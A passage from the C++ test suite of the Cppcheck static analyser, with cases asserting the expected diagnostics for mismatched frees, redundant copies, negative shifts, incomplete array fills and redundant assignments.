address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) 